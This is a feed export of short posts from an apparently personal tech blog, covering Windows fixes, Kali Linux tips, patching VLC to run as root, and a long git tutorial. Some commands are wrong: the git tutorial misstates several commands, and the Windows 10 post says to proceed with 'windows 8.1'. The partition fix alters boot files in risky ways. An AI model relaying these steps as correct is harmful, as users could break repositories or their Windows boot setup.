&lt;li&gt;click on security tab&lt;/li&gt;
&lt;li&gt;click on edit&lt;/li&gt;
&lt;li&gt;click on add&lt;/li&gt;
&lt;li&gt;click on advance&lt;/li&gt;
&lt;li&gt;click on find now&lt;/li&gt;
&lt;li&gt;find IIS_IUSR AND IUSR&lt;/li&gt;
&lt;li&gt;then click ok&lt;/li&gt;
&lt;li&gt;then click ok&lt;/li&gt;
&lt;li&gt;then click ok&lt;/li&gt;
&lt;li&gt;then click ok&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;try now and you will not see that error again&lt;/p&gt;</content>
<published>2019-07-26T18:38:00+00:00</published>
<updated>2019-07-26T18:38:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/140'/>
<id>https://wirelessarmy.theproject1.com/140</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Upgrade to windows 10 partition error</title> 
<content type='html'>&lt;p&gt;When upgrading to windows 10 you may get an error like this:&lt;/p&gt;
&lt;p&gt;&quot;We couldn&#039;t update the system reserved partition&quot;&lt;/p&gt;
&lt;p&gt;Solution, make free space on your boot drive:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Press win+r and type diskmgmt.msc&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Click on your C: drive&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Below the list of drives there will be a partition map, the first partition will be Data or some such, listed at 100MB, right click on it and go to change drive letters and paths -&amp;gt; add -&amp;gt; now choose Y: for the drive letter&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Right click the CMD.EXE start menu icon and choose &#039;Run as Administrator&#039;. Or, to open an admin cmd prompt, in win8 you can press win+x and choose command prompt (admin), in win7 you have to create a shortcut for cmd.exe, then go to compatibility in the shortcut properties, and choose run as admin.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Type: Y: &amp;lt;enter&amp;gt; in the cmd window&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Run these commands:&lt;/p&gt;
&lt;p&gt;takeown /f . /r /d y&lt;/p&gt;
&lt;p&gt;icacls . /grant administrators:F /t &amp;lt;see note below&amp;gt;&lt;/p&gt;
&lt;p&gt;attrib -h -s -r bootmgr&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;NOTE: for the icacls command you can use your username instead of administrators, to find out your username type &#039;whoami&#039;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Now open explorer (win+e) go to the Y: drive under compuer, go into the Boot folder, and delete all languages other than en-US. Languages are in the form xx-XX. Make sure to shift+delete and not just delete so they don&#039;t go to the recycle bin. Empty the recycle bin afterwards just in case.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;now go back to the admin command prompt, and type this command:&lt;/p&gt;
&lt;p&gt;chkdsk Y: /F /X /sdcleanup /L:5000&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;this truncates the NTFS log to 5MB, it can be very very big, not leaving enough space for the install. At the end of the output it should tell you that you have at least 50MB of free space on the partition&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;proceed with the windows 8.1 installation&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;once booted into 10 and set up, you can go back into diskmgmt.msc and remove the drive letter for the boot partition&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</content>
<published>2019-07-26T18:38:00+00:00</published>
<updated>2019-07-26T18:38:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/166'/>
<id>https://wirelessarmy.theproject1.com/166</id>
<author><name>admin</name></author>
</entry> <entry>
<title>permission for drupal folders (linux)</title> 
<content type='html'>&lt;p&gt;some times your need more or less permission for folders in a drupal site but you don&#039;t have to remember every thing. &lt;br /&gt;just setup a new user and user group for your apache webserver and then download the fallowing script.&lt;br /&gt; the syntax for running it will be&lt;/p&gt;
&lt;pre&gt;./setpermission.sh --drupal_path=/var/www/drupal --drupal_user=myuser --httpd_group=webusers
&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;../images/templates/drupal permission.zip&quot;&gt;Download&lt;/a&gt; &lt;br /&gt; &lt;a href=&quot;https://drupal.org/node/244924&quot;&gt;thanks to source&lt;/a&gt;&lt;/p&gt;</content>
<published>2019-07-26T18:35:00+00:00</published>
<updated>2019-07-26T18:35:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/58'/>
<id>https://wirelessarmy.theproject1.com/58</id>
<author><name>admin</name></author>
</entry> <entry>
<title>how to install mozilla stuff on kali linux</title> 
<content type='html'>as you know apt-get install Firefox or Thunderbird will not work on Kali linux so we can go and download the package from the site or learn the new names that debian chose for it.(kali linux is debian based)
&lt;br&gt;for Thunderbird mail client&lt;br&gt;
&lt;pre&gt;apt-get install icedove&lt;/pre&gt;
for Firefox browser&lt;br&gt;
&lt;pre&gt;apt-get install iceweasel&lt;/pre&gt;
</content>
<published>2019-07-26T18:35:00+00:00</published>
<updated>2019-07-26T18:35:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/81'/>
<id>https://wirelessarmy.theproject1.com/81</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Nvidia install driver</title> 
<content type='html'>after you have downloaded the nvidia graphic card driver, you may get some errors like 
    unable to find kernel source tree
So to make sure that it work properly you do the fallowing this instructions.
open a terminal then:
&lt;pre&gt;apt-get install linux-headers-`uname -r`&lt;/pre&gt;
then exit the graphic interface and run the nvidia.run</content>
<published>2019-07-26T18:31:00+00:00</published>
<updated>2019-07-26T18:31:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/62'/>
<id>https://wirelessarmy.theproject1.com/62</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Run vlc as root</title> 
<content type='html'>&lt;p&gt;apt-get install vlc&lt;/p&gt;
&lt;pre&gt;hexedit /usr/bin/vlc
&lt;/pre&gt;
&lt;p&gt;then press [tab] and find&lt;/p&gt;
&lt;pre&gt;geteuid._libc_start_man
&lt;/pre&gt;
&lt;p&gt;and change it to:&lt;/p&gt;
&lt;pre&gt;getppid.libc_start_man
&lt;/pre&gt;</content>
<published>2019-07-26T18:26:00+00:00</published>
<updated>2019-07-26T18:26:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/112'/>
<id>https://wirelessarmy.theproject1.com/112</id>
<author><name>admin</name></author>
</entry> <entry>
<title>git for web publishing</title> 
<content type='html'>&lt;h2&gt;both version control and files are on the server but the files are for a website and version control is in a directory that people have no access to it&lt;/h2&gt;
&lt;p&gt;the reason that we separate the git and the project folder is because if we have a php site with password stored, we don&#039;t want any one but developers have access to git log so&lt;br /&gt; we use the folder /var/www/gserver for the git and /var/www/webserver for files and for the computer as usual:&lt;/p&gt;
&lt;pre&gt;git init
git add .
git commit -m &quot;initial commit&quot;
#after setting up the server
git remote add origin ssh://me@mywebsite.com:/var/www/gserver/project1.git
git push origin master&lt;/pre&gt;
&lt;h2&gt;and for the server:&lt;/h2&gt;
&lt;p&gt;in the /var/www/gserver folder&lt;/p&gt;
&lt;pre&gt;mkdir project1.git
cd cms.git
git init --bare
touch hooks/post-receive&lt;/pre&gt;
&lt;p&gt;now past the fallowing lines in the /hooks/post-receive file&lt;/p&gt;
&lt;pre&gt;#!/bin/sh
GIT_WORK_TREE=/var/www/webserver git checkout -f&lt;/pre&gt;
&lt;p&gt;and we want it to be executable to work&lt;/p&gt;
&lt;pre&gt;chmod +x hooks/post-receive&lt;/pre&gt;
&lt;p&gt;just make sure that apache will use the /var/www/webserver and the main folder for the site&lt;/p&gt;</content>
<published>2019-07-26T18:21:00+00:00</published>
<updated>2019-07-26T18:21:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/153'/>
<id>https://wirelessarmy.theproject1.com/153</id>
<author><name>admin</name></author>
</entry> <entry>
<title>NetworkManager Applet on kde</title> 
<content type='html'>if you don&#039;t like kde network-manager like I do you can use the gnome instead. just install gnome by
&lt;br&gt;
&lt;pre&gt;apt-get install gnome-core&lt;/pre&gt;
&lt;br&gt;then run this command and then restart&lt;br&gt;
&lt;pre&gt;ln -s /usr/bin/nm-applet ~/.kde/Autostart/nm-applet-link&lt;/pre&gt;
</content>
<published>2019-07-26T18:16:00+00:00</published>
<updated>2019-07-26T18:16:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/69'/>
<id>https://wirelessarmy.theproject1.com/69</id>
<author><name>admin</name></author>
</entry> <entry>
<title>xor function for binary</title> 
<content type='html'>&lt;pre&gt;binaryA = &quot;11011111101100110110011001011101000&quot;
binaryB = &quot;11001011101100111000011100001100001&quot;
def xor(a,b):
	y = int(a,2) ^ int(b,2)
	return &#039;{0:0{1}b}&#039;.format(y,len(a))

print xor(binaryA,binaryB)&lt;/pre&gt;
or you can use less code and do this:
&lt;pre&gt;binaryA = &quot;11011111101100110110011001011101000&quot;
binaryB = &quot;11001011101100111000011100001100001&quot;
y = &#039;&#039;.join(&#039;0&#039; if i == j else &#039;1&#039; for i, j in zip(binaryA,binaryB))
print y</content>
<published>2019-07-26T18:06:00+00:00</published>
<updated>2019-07-26T18:06:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/46'/>
<id>https://wirelessarmy.theproject1.com/46</id>
<author><name>admin</name></author>
</entry> <entry>
<title>ls</title> 
<content type='html'>&lt;p&gt;to view what is in the corrent directory&lt;/p&gt;
&lt;table&gt;
  &lt;tr&gt;
    &lt;td&gt;-a&lt;/td&gt;&lt;td&gt;Shows you all files, even files that are hidden (these files begin with a dot.)&lt;/td&gt;
  &lt;/tr&gt;
    &lt;tr&gt;
    &lt;td&gt;-b&lt;/td&gt;&lt;td&gt;Force printing of non-printable characters to be in octal \ddd notation.&lt;/td&gt;
  &lt;/tr&gt;
    &lt;tr&gt;
    &lt;td&gt;-l&lt;/td&gt;&lt;td&gt;Shows you huge amounts of information (permissions, owners, size, and when last modified.)&lt;/td&gt;
  &lt;/tr&gt;
    &lt;tr&gt;
    &lt;td&gt;-x&lt;/td&gt;&lt;td&gt;Displays files in columns.&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;</content>
<published>2019-07-26T18:01:00+00:00</published>
<updated>2019-07-26T18:01:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/120'/>
<id>https://wirelessarmy.theproject1.com/120</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Drop Down menu (ie)</title> 
<content type='html'>&lt;p&gt;this demo of drop down menu will work over all browsers including ie (internet explorer) and it will work on touch devices too if you already have a drop down menu and you want to fix it for ie all you need to do is add aria-haspopup=&quot;true&quot; for the li tag&lt;/p&gt;
&lt;ul id=&quot;navWrapper&quot;&gt;&lt;!-- Top Nav --&gt;
&lt;li&gt;&lt;a href=&quot;pageA.html&quot;&gt;Menu A&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;pageA1.html&quot;&gt;Menu A, Item 1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;pageA2.html&quot;&gt;Menu A, Item 2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;pageB.html&quot;&gt;Menu B&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;pageB1.html&quot;&gt;Menu B, Item 1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;pageB2.html&quot;&gt;Menu B, Item 2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;pageB3.html&quot;&gt;Menu B, Item 3&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre&gt;&amp;lt;style type=&quot;text/css&quot;&amp;gt;
    a, a:hover {
      text-decoration: none;
    }        
    ul#navWrapper {
      border: 0 black dashed;
      margin-left: -39px;
      float: left;
    }    
    ul#navWrapper li {
      border: 0 red dashed;    
      float: left;
      list-style: none;
      margin-right: 0.75em;
      background-color: #aaa;
      padding: 0 0.25em;
    }

    ul#navWrapper li li {
      border: 0 blue dashed;    
      float: none;
      margin-left: -44px;
      margin-top: 3px;
    }
    ul#navWrapper li li:first-child { 
      margin-top: 4px;
    }
    ul#navWrapper ul {
      display: none;
      position: absolute;
      background-color: #FFF; /* For non-CSS3 browsers. */
      background-color: rgba(255, 255, 255, 0);
    }
    ul#navWrapper li:hover ul {
      display: block;
    }
    ul#navWrapper a {
      font-weight: bold;
    }
    ul#navWrapper li:hover {
      background-color: #8C8D61;
    }    
&amp;lt;/style&amp;gt;

&amp;lt;ul id=&quot;navWrapper&quot;&amp;gt; &amp;lt;!-- Top Nav --&amp;gt;
&amp;lt;li&amp;gt; &amp;lt;!-- Menu A --&amp;gt;
  &amp;lt;a href=&quot;pageA.html&quot; aria-haspopup=&quot;true&quot;&amp;gt;Menu A&amp;lt;/a&amp;gt;
  &amp;lt;ul&amp;gt;
    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;pageA1.html&quot;&amp;gt;Menu A, Item 1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;pageA2.html&quot;&amp;gt;Menu A, Item 2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
  &amp;lt;/ul&amp;gt;
&amp;lt;/li&amp;gt; &amp;lt;!-- Menu A --&amp;gt;
&amp;lt;li&amp;gt; &amp;lt;!-- Menu B --&amp;gt;
  &amp;lt;a href=&quot;pageB.html&quot; aria-haspopup=&quot;true&quot;&amp;gt;Menu B&amp;lt;/a&amp;gt;
  &amp;lt;ul&amp;gt;
    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;pageB1.html&quot;&amp;gt;Menu B, Item 1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;pageB2.html&quot;&amp;gt;Menu B, Item 2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;pageB3.html&quot;&amp;gt;Menu B, Item 3&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;        
  &amp;lt;/ul&amp;gt;
&amp;lt;/li&amp;gt; &amp;lt;!-- Menu B --&amp;gt;
&amp;lt;/ul&amp;gt; &amp;lt;!-- Top Nav --&amp;gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;</content>
<published>2019-07-26T17:56:00+00:00</published>
<updated>2019-07-26T17:56:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/146'/>
<id>https://wirelessarmy.theproject1.com/146</id>
<author><name>admin</name></author>
</entry> <entry>
<title> upgrade to kali rolling</title> 
<content type='html'>&lt;p&gt;add the following lines to &lt;strong&gt;/etc/apt/sources.list&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;deb http://http.kali.org/kali kali-rolling main contrib non-free&lt;br /&gt;deb-src http://http.kali.org/kali kali-rolling main contrib non-free&lt;/pre&gt;
&lt;pre&gt;apt-get update&lt;br /&gt;apt-get dist-upgrade # get a coffee&lt;br /&gt;reboot&lt;/pre&gt;
&lt;p&gt;also vm ware problems with past versions are fixed and the recommended thing to do is Open-VM-Tools instead of VMware Tools&lt;/p&gt;
&lt;pre&gt;apt-get install open-vm-tools-desktop fuse&lt;br /&gt;reboot&lt;/pre&gt;</content>
<published>2019-07-26T17:51:00+00:00</published>
<updated>2019-07-26T17:51:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/204'/>
<id>https://wirelessarmy.theproject1.com/204</id>
<author><name>admin</name></author>
</entry> <entry>
<title>passwd</title> 
<content type='html'>&lt;p&gt;passwd is used to change your or some other user password&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;examples&lt;/strong&gt;&lt;br /&gt; passwd root&lt;/p&gt;
&lt;p&gt;if you are logged in or it don&amp;rsquo;t have a password just type your new password&lt;br /&gt; (you can&amp;rsquo;t see it will typing because we can&amp;rsquo;t add dots or stars like on email sign up so be careful for capslock)&lt;/p&gt;</content>
<published>2019-07-26T17:46:00+00:00</published>
<updated>2019-07-26T17:46:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/121'/>
<id>https://wirelessarmy.theproject1.com/121</id>
<author><name>admin</name></author>
</entry> <entry>
<title>git start to finish</title> 
<content type='html'>&lt;p&gt;git is a verson control that works offline. Every thing is is stored is a folder called .git is the same directory as the project and after you are done making all your changes you can send it to the sever.&lt;br /&gt; The reason that git is getting more popular than any other version control is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;fast&lt;/li&gt;
&lt;li&gt;offline working&lt;/li&gt;
&lt;li&gt;make a patch file for every change&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;but there is one big problem with it: learning.&lt;br /&gt;you need to spend at least a full day to learn everthing but after that every thing will be smoot and easy.&lt;/p&gt;
&lt;p&gt;The way that developers update the server is through ssh and the way that people can download the project is with http or git daemon. git daemon is simular to http but a bit faster and it will use the port&amp;nbsp;9418.&lt;br /&gt;An other reason that we will use git daemon is for people unfamilar with apache, they won&#039;t make a hole in the sever by using http. git daemon is only for downloading project not sending to server. It can be done but It&#039;s not safe uless you want every one change the project as they please.&lt;br /&gt;&lt;br /&gt;In the tutorial we will do 3 diffrent projects and basic commands.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;installation&lt;/li&gt;
&lt;li&gt;basic commands&lt;/li&gt;
&lt;li&gt;the verson control and project files&amp;nbsp;are&amp;nbsp;public&lt;/li&gt;
&lt;li&gt;every one that works on the project has the files but only there version control is on ther server and project files are not&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;153&quot;&gt;both version control and files are on the server but the files are for a website and version control is in a directory that people have no access to it&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;alias&lt;/li&gt;
&lt;li&gt;git daemon&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;1) installation&lt;/h1&gt;
&lt;p&gt;for windows and mac you can download the executable and for linux you can do&lt;/p&gt;
&lt;pre&gt;apt-get install git&lt;/pre&gt;
&lt;p&gt;for the project where the version control is public you need to intall git web and git daemon:&lt;/p&gt;
&lt;pre&gt;apt-get install gitweb git-daemon&lt;/pre&gt;
&lt;h1&gt;2) basic commands&lt;/h1&gt;
&lt;p&gt;if you are on any other command line other that git you need to run this command so every thing will get color full and easeir to read&lt;/p&gt;
&lt;pre&gt;git config --global color.ui true&lt;/pre&gt;
&lt;p&gt;as git trusts every one (because if you have ssh access to there server you are trust worthy) it doesn&#039;t know who is making changes so it&#039;s better spesify yourself so every one knows who is making changes&lt;/p&gt;
&lt;pre&gt;git config --global user.name &quot;name&quot;
git config --global user.email &quot;you@youremail.com&quot;&lt;/pre&gt;
&lt;h1&gt;3) the verson control and project files are&amp;nbsp;public&lt;/h1&gt;
&lt;p&gt;is this example everthing on your project folder or any other developer and the server project flolder will be the same.&lt;br /&gt;so now you are is the project folder where you can see all the files and folders related to only 1 project&lt;br /&gt;to start git you need to:&lt;/p&gt;
&lt;pre&gt;git init&lt;/pre&gt;
&lt;p&gt;and it will make the .git directory. for any reason, if you didn&#039;t like git you can do:&lt;/p&gt;
&lt;pre&gt;rm -rf .git&lt;/pre&gt;
&lt;p&gt;to delete everything realted to git&lt;/p&gt;
&lt;pre&gt;git status &lt;/pre&gt;
&lt;p&gt;will give you any useful information at the time, if any files content are changed or you didn&#039;t commit yet&lt;/p&gt;
&lt;pre&gt;git add .&lt;/pre&gt;
&lt;p&gt;will tell git that it need to look for changes in every file and forlder, but you can only add spesific folders like so:&lt;/p&gt;
&lt;pre&gt;git add /folder1&lt;/pre&gt;
&lt;p&gt;now you maked all your changes and you want to submit it so:&lt;/p&gt;
&lt;pre&gt;git commit -m &quot;initial commit&quot;&lt;/pre&gt;
&lt;p&gt;-m will add a message to the the commit, it&#039;s like a title of and article, so if you added feature x to your project you can do&lt;/p&gt;
&lt;pre&gt;git commit -m &quot;added the cool feature x&quot;&lt;/pre&gt;
&lt;p&gt;after your first git add . you can do&lt;/p&gt;
&lt;pre&gt;git commit -am &quot;hello&quot;&lt;/pre&gt;
&lt;p&gt;to add new files and commit at the same time it is basiclly git add and git commit&lt;/p&gt;
&lt;p&gt;if you want the log of your commits you can do:&lt;/p&gt;
&lt;pre&gt;git log&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;&lt;br /&gt; everthing until now was offline so for adding it to the server first you will go to the server and make the desired folder and then just git init is this example the directory will be /var/project1 Now back the your computer you need to tell git where is the sever:&lt;/p&gt;
&lt;pre&gt;git remote add origin ssh://mysite.com:/var/project1
#or
git remote add origin ssh://192.168.1.14:/var/project1&lt;/pre&gt;
&lt;p&gt;in every git project you can have several branches, you start with one called master for the first time to send files to the sever you can do:&lt;/p&gt;
&lt;pre&gt;git push origin/master&lt;/pre&gt;
&lt;p&gt;but after that it better to do:&lt;/p&gt;
&lt;pre&gt;git fetch origin/master
git fetch master
git push origin/master&lt;/pre&gt;
&lt;pre&gt;git fetch will download the latest changes on the server and git merge will add all your changes. like this we can avoid any posibilities of error&amp;gt;
there is and other command git pull&lt;/pre&gt;
&lt;pre&gt;git pull origin/master
git push origin/master&lt;/pre&gt;
&lt;p&gt;git pull is a git fetch fallowed by a git merge, yes it&#039;s faster but the reason that you want to use git fetch and git merge instead of git pull is to see if you need to do any last minute changes or not. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt; now files are on the server and you want an other person to download every thing from the server, the command for the is:&lt;/p&gt;
&lt;pre&gt;git clone ssh://mysite.com:/var/project1&lt;/pre&gt;
&lt;p&gt;now if several people want to work on a new feature and don&#039;t want to bug other people the create a branch&lt;/p&gt;
&lt;pre&gt;git branch&lt;/pre&gt;
&lt;p&gt;will give branch status, if new project only master is in there, &lt;br /&gt; if you want only branches on the server&lt;/p&gt;
&lt;pre&gt;git branch -r&lt;/pre&gt;
&lt;p&gt;and if you want list of all branches (local and server)&lt;/p&gt;
&lt;pre&gt;git branch -a&lt;/pre&gt;
&lt;p&gt;now for creating a branch called brch1 we can do:&lt;/p&gt;
&lt;pre&gt;git branch -b brch1&lt;/pre&gt;
&lt;p&gt;this will create the branch and switch to it&lt;br /&gt; to delete a branch:&lt;/p&gt;
&lt;pre&gt;git branch -d brch1&lt;/pre&gt;
&lt;p&gt;now to go back to the master branch:&lt;/p&gt;
&lt;pre&gt;git checkout master&lt;/pre&gt;
&lt;p&gt;checkout the the command for switching between branches&lt;/p&gt;
&lt;pre&gt;git diff &lt;/pre&gt;
&lt;p&gt;will show you diffrent stuff that was added or removed&lt;/p&gt;
&lt;pre&gt;diffrence between branches:&lt;/pre&gt;
&lt;pre&gt;git diff git diff master..brch1&lt;/pre&gt;
&lt;pre&gt;you can also see the diffrence between comits:&lt;/pre&gt;
&lt;pre&gt;git diff 0da94be  59ff30c&lt;/pre&gt;
&lt;pre&gt;and you can create patch files with it&lt;/pre&gt;
&lt;pre&gt;git diff 0da94be  59ff30c &amp;gt; my.patch&lt;/pre&gt;
&lt;pre&gt;to apply a patch you can:&lt;/pre&gt;
&lt;pre&gt;git apply my.patch&lt;/pre&gt;
&lt;pre&gt;&lt;br /&gt;to view the log diffrence of 2 branches,only stuff that not not merged, what is is brch1 that is not in master&lt;/pre&gt;
&lt;pre&gt;git log brch1 ^master
to get a more graphical view of commit in the command line:&lt;/pre&gt;
&lt;pre&gt;git log --oneline --graph --all --decorate&lt;/pre&gt;
&lt;h1&gt;4) every one that works on the project has the files but only there version control is on ther server and project files are not&lt;/h1&gt;
&lt;p&gt;in this version all the commands are the same but when your are in the server,instead of creating a folder for 1 project and&lt;/p&gt;
&lt;pre&gt;git init&lt;/pre&gt;
&lt;p&gt;you create the folder for several projects and then&lt;/p&gt;
&lt;pre&gt;git init --bare project1.git&lt;/pre&gt;
&lt;p&gt;this will only upload the changes not any files (everything in .git folder)&lt;/p&gt;
&lt;h1&gt;6) alias&lt;/h1&gt;
&lt;p&gt;this can allow you to use an alias for a long command&lt;/p&gt;
&lt;pre&gt;git config --global alias.lol &quot;log --oneline --graph --decorate&quot;&lt;/pre&gt;
&lt;p&gt;become git lol&lt;br /&gt; or&lt;/p&gt;
&lt;pre&gt;git config --global alias.serve &#039;!git daemon --base-path=/var/www/gserver/ --export-all --reuseaddr --informative-errors --verbose&#039;&lt;/pre&gt;
&lt;p&gt;will become git serve&lt;/p&gt;
&lt;h1&gt;7)git daemon&lt;/h1&gt;
&lt;p&gt;to start git daemon we just have to type git daemon but there are several thing that we have to spesify like what the the projects folder&lt;br /&gt; the fallowing command will use all projects in the folder /var/www/gserver&lt;/p&gt;
&lt;pre&gt;--base-path=/var/www/gserver/ --export-all --reuseaddr --informative-errors --verbose&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;--base-path will direct to the folder so if you have the project /var/www/gserver/a.git to clone it we have to clone git://mysite.com/a.git
--enable=receive-pack will allow every one to push to the server (not safe)
--reuseaddr will not wait for time out (everything becomes faster)
--informative-errors --verbose will show all the connections and errors
--export-all we use all the projects found
&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt; if you don&#039;t want to the git daemon for all projects in the folder just don&#039;t use the --export-all and all an empty file called git-daemon-export-ok to the git folder&lt;/p&gt;
&lt;pre&gt;touch git-daemon-export-ok&lt;/pre&gt;</content>
<published>2019-07-26T17:41:00+00:00</published>
<updated>2019-07-26T17:41:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/152'/>
<id>https://wirelessarmy.theproject1.com/152</id>
<author><name>admin</name></author>
</entry> <entry>
<title>google search box</title> 
<content type='html'>&lt;p&gt;Want to add google search to your site? just copy and past the code and change the site url&lt;/p&gt;
&lt;pre&gt;&amp;lt;form method=&quot;get&quot; action=&quot;http://www.google.com/search&quot;&amp;gt;

&amp;lt;div style=&quot;border:1px solid black;padding:4px;width:20em;&quot;&amp;gt;

&amp;lt;table border=&quot;0&quot; cellpadding=&quot;0&quot;&amp;gt;

&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;

&amp;lt;input type=&quot;text&quot; name=&quot;q&quot; size=&quot;25&quot;

maxlength=&quot;255&quot; value=&quot;&quot; /&amp;gt;

&amp;lt;input type=&quot;submit&quot; value=&quot;Google Search&quot; /&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;

&amp;lt;tr&amp;gt;&amp;lt;td align=&quot;center&quot; style=&quot;font-size:75%&quot;&amp;gt;

&amp;lt;input type=&quot;checkbox&quot; name=&quot;sitesearch&quot;

value=&quot;wirelessarmy.com&quot; checked /&amp;gt; only search on mysite.com&amp;lt;/br&amp;gt;

&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;

&amp;lt;/div&amp;gt;

&amp;lt;/form&amp;gt;&lt;/pre&gt;
</content>
<published>2019-05-15T11:34:00+00:00</published>
<updated>2019-05-15T11:34:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/24'/>
<id>https://wirelessarmy.theproject1.com/24</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Which Programming Language Should I Learn First?</title> 
<content type='html'>&lt;p&gt;Back-end/Server-side Programmer:&lt;br /&gt;Usually uses one of the following: Python, Ruby, PHP, Java or .Net. Has database knowledge. Possibly has some sysadmin knowledge.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;Front-end/Client-side Programmer: HTML, CSS, JavaScript. Possibly has design skill.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt; Mobile Programmer: Objective-C or Java (for Android). HTML/CSS for mobile websites. Potentially has server-side knowledge.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;3D Programmer/Game Programmer: C/C++, OpenGL, Animation. Possibly has good artistic skill. C# for unity 3D.&lt;/p&gt;
&lt;p&gt;High-Performance Programmer: C/C++, Java. May have background in mathematics or quantitative analysis&lt;/p&gt;</content>
<published>2019-03-06T04:30:00+00:00</published>
<updated>2019-03-06T04:30:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/7'/>
<id>https://wirelessarmy.theproject1.com/7</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Change content for screen size</title> 
<content type='html'>&lt;p&gt;we have a html page but it because it’s hard to use on a small screen. So in this example we will change a font size and make content of a div change. For example if you use ads and need to have a compliantly different code for size change.&lt;/p&gt;
&lt;p&gt;We will have a .html and a .css file&lt;/p&gt;
&lt;pre&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;link rel=&quot;stylesheet&quot; href=&#039;main.css&#039; /&amp;gt;
&amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
&amp;lt;meta name=&quot;viewport&quot; content=&quot;initial-scale = 1.0,maximum-scale = 1.0&quot; /&amp;gt;
&amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;

&amp;lt;body&amp;gt;
&amp;lt;div id=&quot;primaryContainer&quot; class=&quot;primaryContainer clearfix&quot;&amp;gt;
&amp;lt;div id=&quot;ad1&quot;&amp;gt;
ad number 1
